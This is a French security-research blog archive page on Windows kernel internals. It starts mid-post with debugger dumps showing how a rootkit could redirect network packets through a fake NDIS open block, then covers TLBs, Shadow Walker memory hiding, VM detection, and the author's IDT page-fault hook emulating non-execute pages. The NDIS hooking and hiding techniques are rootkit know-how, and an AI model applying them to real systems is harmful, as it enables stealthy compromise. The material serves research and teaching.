   +0x47c ScatterGatherListSize : 0
   +0x480 WakeUpTimerEvent : (null)
   +0x484 SecurityDescriptor : 0x80df4680
   +0x488 NumUserOpens     : 0
   +0x48c NumAdminOpens    : 0
   +0x490 Ref              : _ULONG_REFERENCE

On prend le champ EthDB qui pointe sur une struct ndis!_X_FILTER :

kd> dt ndis!_X_FILTER 0x80e438e8
   +0x000 OpenList         : 0x80e2fea8 _X_BINDING_INFO
   +0x004 BindListLock     : _NDIS_RW_LOCK
   +0x214 Miniport         : 0x80df3140 _NDIS_MINIPORT_BLOCK
   +0x218 CombinedPacketFilter : 0xb
   +0x21c OldCombinedPacketFilter : 0xb
   +0x220 NumOpens         : 2
   +0x224 MCastSet         : (null)
   +0x228 SingleActiveOpen : (null)
   +0x22c AdapterAddress   : [6]  ""
   +0x234 MCastAddressBuf  : 0xffb9b1b8 [6]  "???"
   +0x238 OldMCastAddressBuf : (null)
   +0x23c MaxMulticastAddresses : 0x24
   +0x240 NumAddresses     : 1
   +0x244 OldNumAddresses  : 0
   +0x234 AdapterShortAddress : [2]  "??????"
   +0x238 MCastLongAddressBuf : (null)
   +0x23c MCastShortAddressBuf : 0x00000024 [2]  ""
   +0x240 OldMCastLongAddressBuf : 0x00000001 [6]  ""
   +0x244 OldMCastShortAddressBuf : (null)
   +0x248 MaxMulticastLongAddresses : 0
   +0x24c MaxMulticastShortAddresses : 0
   +0x250 NumLongAddresses : 0
   +0x254 NumShortAddresses : 0
   +0x258 OldNumLongAddresses : 0
   +0x25c OldNumShortAddresses : 0
   +0x260 SupportsShortAddresses : 0 ''
   +0x234 CombinedFunctionalAddress : 0xffb9b1b8
   +0x238 GroupAddress     : 0
   +0x23c GroupReferences  : 0x24
   +0x240 OldCombinedFunctionalAddress : 1
   +0x244 OldGroupAddress  : 0
   +0x248 OldGroupReferences : 0

Cette structure contient un pointeur sur un liste de _X_BINDING_INFO qui représentent les NDIS_OPEN_BLOCK attachés au miniport.

kd> dt ndis!_X_BINDING_INFO 0x80e2fea8
   +0x000 NextOpen         : 0x80dcef20 _X_BINDING_INFO
   +0x004 NdisBindingHandle : 0x80e2fef0 _NDIS_OPEN_BLOCK
   +0x008 Reserved         : (null)
   +0x00c PacketFilters    : 0xb
   +0x010 OldPacketFilters : 0
   +0x014 References       : 1
   +0x018 NextInactiveOpen : (null)
   +0x01c ReceivedAPacket  : 0 ''
   +0x020 MCastAddressBuf  : 0x80f01bc8 [6]  "???"
   +0x024 NumAddresses     : 1
   +0x028 OldMCastAddressBuf : (null)
   +0x02c OldNumAddresses  : 0
   +0x020 MCastLongAddressBuf : 0x80f01bc8 [6]  "???"
   +0x024 NumLongAddresses : 1
   +0x028 MCastShortAddressBuf : (null)
   +0x02c NumShortAddresses : 0
   +0x030 OldMCastLongAddressBuf : (null)
   +0x034 OldNumLongAddresses : 0
   +0x038 OldMCastShortAddressBuf : (null)
   +0x03c OldNumShortAddresses : 0
   +0x020 FunctionalAddress : 0x80f01bc8
   +0x024 OldFunctionalAddress : 1
   +0x028 UsingGroupAddress : 0 ''
   +0x029 OldUsingGroupAddress : 0 ''

kd> dt ndis!_X_BINDING_INFO 0x80dcef20
   +0x000 NextOpen         : (null)
   +0x004 NdisBindingHandle : 0x80dc8c50 _NDIS_OPEN_BLOCK
   +0x008 Reserved         : (null)
   +0x00c PacketFilters    : 0xb
   +0x010 OldPacketFilters : 0
   +0x014 References       : 1
   +0x018 NextInactiveOpen : (null)
   +0x01c ReceivedAPacket  : 0 ''
   +0x020 MCastAddressBuf  : (null)
   +0x024 NumAddresses     : 0
   +0x028 OldMCastAddressBuf : (null)
   +0x02c OldNumAddresses  : 0
   +0x020 MCastLongAddressBuf : (null)
   +0x024 NumLongAddresses : 0
   +0x028 MCastShortAddressBuf : (null)
   +0x02c NumShortAddresses : 0
   +0x030 OldMCastLongAddressBuf : (null)
   +0x034 OldNumLongAddresses : 0
   +0x038 OldMCastShortAddressBuf : (null)
   +0x03c OldNumShortAddresses : 0
   +0x020 FunctionalAddress : 0
   +0x024 OldFunctionalAddress : 0
   +0x028 UsingGroupAddress : 0 ''
   +0x029 OldUsingGroupAddress : 0 ''

Si on regarde bien le résultat de la commande !protocols on a 2 OPEN_BLOCK sur notre miniport qui sont :

kd> !protocols
 Protocol 80d5bd40: NDISUIO
    Open 80e2fef0 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

 Protocol 80d4c878: TCPIP
    Open 80dc8c50 - Miniport: 80df3140 Carte Fast Ethernet PCI à base de Intel 21140 (Générique)

Ho tient ce sont ceux qu’on voit dans les ndis!_X_BINDING_INFO ! On peut donc pour un packet entrant le rediriger sur un fake NDIS_OPEN_BLOCK à nous, de la même forme que l’original mais ayant les handler Reveive* modifiés, et voilà le tour est joué. J’avoue que j’ai choppé toutes ces infos dans la conf Rootkits: Attacking Personal Firewalls d’Alexander Tereshkin lors de blackhat 2K6. Je me demande même si ce n’est pas lui l’auteur de l’article dont je vous parle sur rootkit.com …

Si vous voulez vous faire plaisir, MS vous file les doc imbuvable de ses protocoles (merci à nono) Windows Server Protocols (WSPP)

2 comments février 22nd, 2008

TLBs are your friends

Un drame m’est arrivé, la pire chose au monde. Ce matin au réveil, je m’aperçois que je n’ai plus de chocapicz … Tel un drogué je comprends que mon besoin primaire de cette nourriture ne pourra être satisfait rapidement, c’est dans ce genre de moment qu’on réalise que nos petites habitudes ont parfois prit une ampleur sur notre existence insoupçonnée, comment faire pour ne pas y penser ? Comment faire pour que mon ventre creux arrête de gargouiller, il est 13h (wiwi c’est l’heure ou je me réveil) tout est fermé, je me dis « Ivan, soit fort, combat cette drogue, fait autre chose, chasse cette envie de ton esprit ! » et j’ai fait ce que je sais faire le mieux, j’ai codé …

Ca faisait pas mal de temps que j’avais envie de jouer avec la pagination de OS. Bidouiller les PDEs, les PTEs, jouer avec mon cr3, courir avec des TLB près de la mer, bref, m’éclater avec ces mécanismes. J’avais toujours en tête les différents papers plus au moins vieux sur le sujet mais je voulais faire quelque chose d’un peu plus original sous Windows. Un pote m’a montré la documentation de PAX, vous savez le patch kernel unix qui sert à prévenir pas mal d’exploitations de binaires. En fait PAX émule une protection en exécution des pages mémoire, comme le NX bit dispo sur les processeurs récents. Le NX bit à besoin du PAE activé ou un mode 64 tapz pour fonctionner ce qui est un peu dommage par rapport à ce qu’il apporte en terme de sécurité.

Pour comprendre comment fonctionne la protection en non-execute des pages, il faut d’abord savoir comment fonctionne la translation d’adresses virtuelles en adresses physiques, pour cela je vous invite à relire ce post.

Si vous avez lu (ou que vous connaissez déjà un peu le sujet) vous remarquerez que le processus de translation d’adresses virtuelles (virtual addresses, VA) en adresses physiques (physical addresses, PA) est un peu long et demande au moins 3 lectures en mémoire. Pour pouvoir optimiser cela les constructeurs de CPU ont ajouté un cache permettant de faire le lien entre les VA et PA plus rapidement, on appel ces caches des TLB (Translation Lookaside Buffers). Ils contiennent des cellules qui font correspondre les VA au PA du process courant afin de pouvoir optimiser la translation d’adresses.

Après il faut savoir que les TLP sont splités en 2 parties, l’ITLB et le DTLB. L’ITLB (Instruction TLB) va contenir les translations d’adresses pour le code exécutable. Le DTLB (Data TLB) quand a lui contient les translations pour le reste des données. L’utilisation des TLB est donc résumer par le schéma suivant :

TLB

Tout d’abord la MMU va check si une entré est présente dans les TLB pour faire la translation, si oui on un un TLB Hit, sinon on a un TLB Miss et on doit perdre du temps 0 parcourir les PDE/PTE.

Les TLB sont assez connu dans le domaine de la sécu, notamment pour 2 faits. Premièrement, pour avoir été décrit dans phrack par Sherri Sparks et Jamie Butler dans l’implémentation du shadow walker. Le concept du shadow walker permet à un rootkit kernel-land de caché du code ou des données au processeur lui même. Le principe réside évidemment sur la translation d’adresses. Prenons une gentille page mémoire présente dans la RAM, tranquillement elle vit sa vie, se faire lire, écrire voir même exécute. Elle est forcément décrite par un PTE (Page Table Entry) qui, sous architecture x86, est de la forme :
PTE

Lorsque l’OS trouve que la page n’est pas assez souvent utilisée, il peut, pour gagner de la mémoire, la swapper sur le disque dans le fameux fichier pagefile.sys. Vous comprenez bien que si un programme décide d’aller chercher cette page en mémoire, il va se sentir un peu seul quand il va voir qu’elle n’y est plus, il faut donc que l’OS la recharge. Cependant il doit savoir, quand la recharger, vous me direz « bah quand le programme en a besoin sale ruskoff communiste buveur de vodka », certes … Pour cela, lorsque l’OS outswap la page sur le disque, il met la 0 le premier bit du PTE (Present Bit), ainsi lorsque la MMU va aller chercher la page, en voyant que le present-bit est 0, va lancer une exception de type page-fault (0x0E) alertant ainsi le memory-manager qu’il faut inswapper la page en mémoire.

Jusqu’ici rien de nouveau, le shadow walker va utiliser a son escient le present-bit. Prenons une autre gentille page mémoire et mettons son present-bit à 0, sans l’outswapper. Si un accès est fait sur cette page, une exception est générée, normalement le memory-manager ne sait pas gérer ce genre d’exceptions, c’est pourquoi nous avons notre propre page-fault handler placé avant. Celui-vi va servir à vérifier d’ou provient l’accès à notre page, dans le cas d’une demande d’exécution, si l’accès ne provient pas d’une source valide on remplace le PTE par un fake PTE représentant une page contenant du junk code. Cet à ce moment qu’interviennent les TLB, au lieu de remettre la present-bit de la page à 1, ce qui pourrait être problématique car nous ne pourrions intercepter les prochaines exécutions sur notre page, on va tout simplement ajouter une entré dans l’ITLB en faisant correspondre à notre VA en PA sur une page contenant du junk code, c’est de la balle, car avec cette technique, on est en mesure d’intercepter les prochaines demandes d’exécution de notre page.

Dans le cas d’une demande de lecture/écriture, on regarde aussi d’ou provient l’appel, si la demande est autorisée on charge la translation d’adresse dans le DTLB.

Les TLB sont aussi connus pour servir dans la détection des VM, l’idée peut-être résumé par le post de Thomas Patcek de chez Matasano. Le but est de désynchroniser les TLB et les PTE, c’est à dire de laisser dans les TLB des translations d’adresses de pages dont le present-bit est à 0. L’attaque consiste à se place dans la VM, on désynchronise les TLB et les PTE et on fait en sorte de saturer le TLB sur un gros bloque de mémoire qu’on a alloué et dont on a mit les present-bits de ses pages à 0. Il faut savoir que pour différences les TLB entries de l’host et de la VM, les entries sont taguées par des ASID (Address Space Identifiers), donc un flush des TLB dans l’host ou la VM n’affectera pas les entries taguées par les autres ASID. Maintenant qu’on a floodé le TLB, que ce passerait-il si on devait revenir dans l’environnement de l’hôte ? Naturellement ce dernier irait flusher une parie des entries du TLB, celui-ci étant plein, pour pouvoir gérer la VM, après retour dans la vm, on aurait donc une translation d’adresse fausse avec les entries du TLB taguées avec les ASID de la VM. Il suffit donc de prendre une instruction demandant une sortie de l’hyperviseur mais qui dans un contexte normal n’effectue aucun accès mémoire, cette instruction c’est CPUID. Sous Intel VT-x et AMD-V, elle requiert une sortie de l’hyperviseur pour être géré, de ce fait on est capable de vider des entries de la VM du TLB et de fucker les translations de notre big bloque de mémoire et DONC par effet de bord de détecter la VM, ouf …

Bon évidemment je vous prends la tête avec des notions par forcément évidentes à comprendre. Pour la suite retenez 4 choses par coeur sur les TLB :

- Reloading cr3 causes all TLB entries except global entries to be
flushed. This typically occurs on a context switch.

- The invlpg causes a specific TLB entry to be flushed.

- Executing a data access instruction causes the DTLB to be loaded with
the mapping for the data page that was accessed.

- Executing a call causes the ITLB to be loaded with the mapping for the
page containing the code executed in response to the call.

Revenons un peu à notre patch noyau, PAX, celui-ci tire avantage des TLB pour émuler une protection en non-execute. La question est comment ? Simple il suffit de lire la doc, extrait :

« The above described TLB behaviour means that software has explicit control
over ITLB/DTLB loading: it can get notified on hardware TLB load attempts
if it sets up the page tables so that such attempts will fail and trigger
a page fault exception, and it can also initiate a TLB load by making the
appropriate memory access to have the CPU walk the page tables and load one
of the TLBs. This in turn is the key to implement non-executable pages:
such pages can be marked either as non-present or requiring supervisor level
access in the page tables hence userland memory accesses would raise a page
fault. The page fault handler can then decide whether it was an instruction
fetch attempt (by comparing the fault address to that of the instruction
that raised the fault) or a legitimate data access. In the former case we
will have detected an execution attempt in a non-executable page and can
act accordingly (terminate the task), in the latter case we can just change
the affected page table entry temporarily to allow user level access and
have the CPU load it into the DTLB (we will of course have to restore the
page table entry to the old state so that further page table walks will
again raise a page fault). »

Pour résumer, l’idée consiste à marquer les present-bits des pages à protéger à 0, ainsi lorsqu’une demande est faite sur ces pages, elle génère une exception de type page-fault. On vérifie le type de demande, dans le cas d’une requête en read ou write on charge une entrée dans le DTLB avec le code suivant :

cli //disable interruptions
mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
or dword ptr [ebx], 0x01 //marque la page présente
mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
and dword ptr [ebx], 0xFFFFFFFE //page non présente
sti //enale interruptions

On oublie évidemment pas de flusher notre page de l’ITLB avec l’instruction invplg. Maintenant que notre DTLB est remplit, on peut sans problème travailler sur nos pages. Lors du prochain changement de contexte, les entries sera flushée mais du fait que les present-bits des PTE décrivant les pages à protéger sont à 0, on aura de nouveau une interruption et de nouveau on rechargera le DTLB. Ce qui est cool c’est qu’on à besoin que d’un page-fault pour ajouter une entrée au DTLB, donc tant qu’on reste dans le contexte de notre process (même cr3) tout se passe bien.

Si un programme demande un accès en exécution sur une page protégée, du fait que l’ITLB est vite, on aura un ITLB miss qui va appeler le page-fault handler, notre page-fault handler même, ce dernier aura pour rôle de dire au programme qu’il est impossible d’exécuter cette page.

Je me suis amusé à réaliser un couple programme user-land, driver r0, mettant en application ce concept. Le driver va recevoir des IOCTL du programme lui demandant de protéger une seule page mémoire, il va aussi installer son propre page-fault handler dans l’IDT afin de filtrer les exceptions. Voici le code du nouveau page-fault handler :

//Our KiTrap0E handler
VOID __declspec(naked) NewInt0EHandler(void)
{
    __asm
    {
        // sur la stack on a
        // [page fault error code]
        // [faulting eip]
        // ...
        pushad
        mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode
        test edx, 0x04 //verif si le core etait en usermode lors de l'except
        je PassDown  //sinon on se casse                              

        //verif si l'except s'est produite dans notre proces space
        mov eax, cr3
        mov ebx, Mycr3
        cmp eax, ebx
        jne PassDown

        mov esi, cr2 //esi : Adresse du page fault
        mov eax, esi
        shr eax, 12 //masque a 0x1000

        mov ebx, vaPage
        shr ebx, 12 //masque a 0x1000

        cmp ebx, eax
        //si ce n'est pas notre page
        jne PassDown
        //un acces a ete fait sur notre page
        //on flush le TLB
        invlpg vaPage

        //esp+0x24=eip fautif, si eip=adresse du page fault, alors on a une demande d'exec
        //et on leave
        cmp [esp+0x24], esi
        je Execution

        //
        // DTLB
        //
        mov eax, vaPage
        //on ajoute une entrée dans le DTLB
        cli //disable interruptions
        mov ebx, ptePage //ebx : Pointeur sur le PTE de notre page filtré
        or dword ptr [ebx], 0x01 //marque la page présente
        mov eax, dword ptr [eax] //acces en lecture qui va remplir le DTLB
        and dword ptr [ebx], 0xFFFFFFFE //page non présente
        sti //enale interruptions
        jmp ReturnWitoutPassDown

        //
        //ITLB
        //
Execution:
        int 3
        //hack de la mort qui tue ....
        // !!! NE LE REFAITE PAS CHEZ VOUS !!!
        //en esp+0x20+4 on a l'adresse du page-fault, c'est à dire le début de notre page (esi)
        //pointé par esp+0x20+16 on a le user-land esp qui pointe sur l'adresse de retour pushé par le "call Page"
        //le iretd va retourner sur l'adress pointé par esp+0x20+4, pour eviter un nouveau page-fault on le fait
        //retourner sur l'adresse pointé par esp+0x20+16 en userland.

        mov eax, dword ptr [esp+0x20+0x10] //eax=userland esp
        mov eax, [eax] //eax=adresse de retour
        mov [esp+0x24], eax //change le retour de iretd

ReturnWitoutPassDown:
        popad
        add esp, 4
        iretd       

PassDown:
        popad
        jmp OldInt0EHandler
    }//end asm
}//end NewInt0E

Dans mon code, dans le cas d’une demande d’exécution j’ai du tricker comme un péruvien élevant des lamas … On sait que lors d’une exception on se retrouve sur la stack kernel-land avec :
esp+00 Error code
esp+04 Return EIP
esp+08 Return CS
esp+12 Return EFLAGS
esp+16 Return ESP
esp+20 Return SS
esp+24 Return ES
esp+28 Return DS
esp+32 Return FS
esp+36 Return GS

Cette stack sert pour le retour en user-land avec l’instruction iretd. Sachant que j’ai appelé ma page à protéger avec un call, donc sur la stack user-land, pointé par esp, j’ai mon adresse de retour. Pour retrouver le esp user-land, il suffit de regarder le esp+16 kernel-land, on remplace l’adresse de retour du iretd (esp+4) et hop ! On retombe sur nos pattes, bon j’avoue c’est tricky, mais bon, c’est de l’info, tout est permit :]
MAIS pour une raison inconnue lors du retour en userland par iretd, le segment fs est mit à 0 alors que dans le esp+32 kernel-land il vaut sa valeur normale (0x3B), donc lorsque le soft qui call le driver veut lire son TEB au moment de quitter il fuck :’( Pourtant quand le retour se fait avec le jmp sur PassDown tout est OK, j’avoue être dans le brouillard :(

Bref, mise à part ce bug, ca fonctionne. J’espère que vous avez à peu prés comprit le principe pour émuler une protection en non-execute grâce aux TLBs, j’attends avec impatience vos impressions. En attendant vous pouvez jouer avec les sources+binaires dispo ici :
http://ivanlef0u.fr/repo/TLB.rar

Sinon, allez lire blog de mon jeune padawan c’est du contenu moins hardcore mais tout aussi instructif :)
http://0vercl0k.blogspot.com/

ref :
http://book.itzero.com/read/microsoft/0507/microsoft.press.microsoft.windows.internals.fourth.edition.dec.2004.internal.fixed.ebook-ddu_html/0735619174/ch07.html
http://bluepillproject.org/stuff/IsGameOver.ppt
http://www.matasano.com/log/930/side-channel-detection-attacks-against-unauthorized-hypervisors/
http://en.wikipedia.org/wiki/Translation_Lookaside_Buffer
http://pax.grsecurity.net/docs/pageexec.txt
http://phrack.org/issues.html?issue=63&id=8&mode=txt

Les précédentes recherches de b0l0k
http://www.c0ding.fr/blog/?p=6
http://www.c0ding.fr/blog/?p=7
Ses liens :
An Architectural Approach to Preventing Code Injection Attacks
http://cairo.cs.purdue.edu/pubs/dsn07-codeinj.pdf
Hardware-assisted circumvention of self-hashing software tamper resistance
http://www.scs.carleton.ca/~paulv/papers/IEEE-extended.7april05.pdf
Rootkits ‘n Stuff
http://www.acm.uiuc.edu/sigmil/talks/shadowwalker/Shadow+Walker+Talk.pdf

24 comments février 4th, 2008

Uninformed volume 9

Le nouvel opus du fameux journal Uninformed vient de sortir. Au programme on a du reverse sur les protections employées par Battle.net, un article trop court sur l’exploitation des ActiveX, un autre sur l’encodage dynamique des payloads en fonction du contexte ou ils seront exécutés afin de bypass un michant HIPS et enfin un essai sur les leçons qu’on peut tirer sur la protection d’un code depuis son exploitation. Perso, je suis un peu déçu, il n’y a pas d’exploitation kernel delamortquitue des chocapicz, pas de release de codes … ouinz. Les auteurs manqueraient-ils d’idées ?

2 comments janvier 28th, 2008

Next Posts Previous Posts


Calendar

mars 2024
L Ma Me J V S D
« fév    
 123
45678910
11121314151617
18192021222324
25262728293031

Posts by Month

Posts by Category